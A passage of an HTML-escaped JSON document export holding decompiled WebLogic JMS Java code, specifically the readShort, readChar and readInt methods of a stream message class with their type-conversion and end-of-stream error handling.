2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QhjX-1677058245273&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xCsn-1677058245272&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return (short)this.bis.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RELq-1677058245275&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xByQ-1677058245274&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Urt2-1677058245278&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iwFA-1677058245276&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 4:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0VEN-1677058245280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gtNF-1677058245279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 5:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TRyx-1677058245282&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s2vZ-1677058245281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 6:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SsWn-1677058245284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6g6v-1677058245283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 7:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qILy-1677058245286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zRCG-1677058245285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MJRb-1677058245288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0mHh-1677058245287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.putTypeBack();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1H5F-1677058245290&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Nlu-1677058245289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String var3 = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zgJB-1677058245292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PwL9-1677058245291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A6uY-1677058245294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uT3q-1677058245293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        var3 = \&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lvYI-1677058245296&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jkor-1677058245295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w4ZL-1677058245298&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9dd3-1677058245297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hcRa-1677058245300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OeIy-1677058245299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(8)) + var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;am3u-1677058245302&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gqoP-1677058245301&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 8:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;As0z-1677058245304&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MhRp-1677058245303&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.bis.readShort();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hpvM-1677058245306&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dvXL-1677058245305&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 9:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VOLL-1677058245308&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LVO2-1677058245307&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 10:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JSZK-1677058245310&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2CeT-1677058245309&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    int var2 = this.bis.pos();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RDdV-1677058245312&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0U0x-1677058245311&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2w80-1677058245314&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0bQQ-1677058245313&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nLuS-1677058245316&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VEIq-1677058245315&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        return Short.parseShort(this.readStringInternal(var1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cFjw-1677058245318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hEa2-1677058245317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (NumberFormatException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3BMT-1677058245320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5MYS-1677058245319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.gotoPos(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lia8-1677058245323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MB5P-1677058245321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.unput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u4Hv-1677058245325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;St2U-1677058245324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        throw var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dROE-1677058245327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VwAL-1677058245326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wnPD-1677058245329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vrdE-1677058245328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IPp4-1677058245331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6uFK-1677058245330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (EOFException var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jRy7-1677058245333&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JrIS-1677058245332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(40), var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gVaJ-1677058245335&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;inq7-1677058245334&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8VVh-1677058245337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MtkF-1677058245336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamReadError(40), var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QMCr-1677058245339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wCgH-1677058245338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BTWz-1677058245341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lffF-1677058245340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bSbH-1677058245343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Aqiw-1677058245342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iR36-1677058245345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sppJ-1677058245344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public char readChar() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EL5Y-1677058245347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RcD2-1677058245346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var1 = this.readType();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tqY3-1677058245349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wPX1-1677058245348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qE1y-1677058245351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MTnO-1677058245350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HLeu-1677058245353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z3Ce-1677058245352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            switch(var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mXzY-1677058245355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wozu-1677058245354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PriD-1677058245357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wC1w-1677058245356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.bis.readChar();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uMef-1677058245359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d5dR-1677058245358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 12:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L9hJ-1677058245361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fH6I-1677058245360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.putTypeBack();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d5LU-1677058245363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZJyu-1677058245362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new NullPointerException();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LW4D-1677058245365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;trUC-1677058245364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T2hH-1677058245367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;amjX-1677058245366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.putTypeBack();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n6Wa-1677058245369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cRPy-1677058245368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String var2 = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0w1K-1677058245371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OTmp-1677058245370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0GOE-1677058245373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dgE6-1677058245372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        var2 = \&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sSe3-1677058245376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XM74-1677058245375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kdHg-1677058245378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fpYh-1677058245377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tp7f-1677058245380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FNQ2-1677058245379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(3)) + var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T8Kk-1677058245382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b2TN-1677058245381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QCpS-1677058245384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C86O-1677058245383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (EOFException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oyuf-1677058245386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HgKp-1677058245385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(60), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yotQ-1677058245388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sv2e-1677058245387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pRsA-1677058245390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vrhU-1677058245389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamReadError(60), var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YRh8-1677058245392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B2oA-1677058245391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oOrw-1677058245394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4qFN-1677058245393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iChq-1677058245396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N7GH-1677058245395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ow1w-1677058245398&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W79S-1677058245397&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public int readInt() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zznN-1677058245400&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2wVv-1677058245399&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var1 = this.readType();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ckaz-1677058245402&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jReZ-1677058245401&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T5OG-1677058245404&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;32mj-1677058245403&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ywLM-1677058245406&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HajV-1677058245405&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            switch(var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jG60-1677058245408&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yDbA-1677058245407&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bDVA-1677058245410&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pPYt-1677058245409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.bis.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AVUA-1677058245412&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Aa2J-1677058245411&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bS5F-1677058245414&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6j3s-1677058245413&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 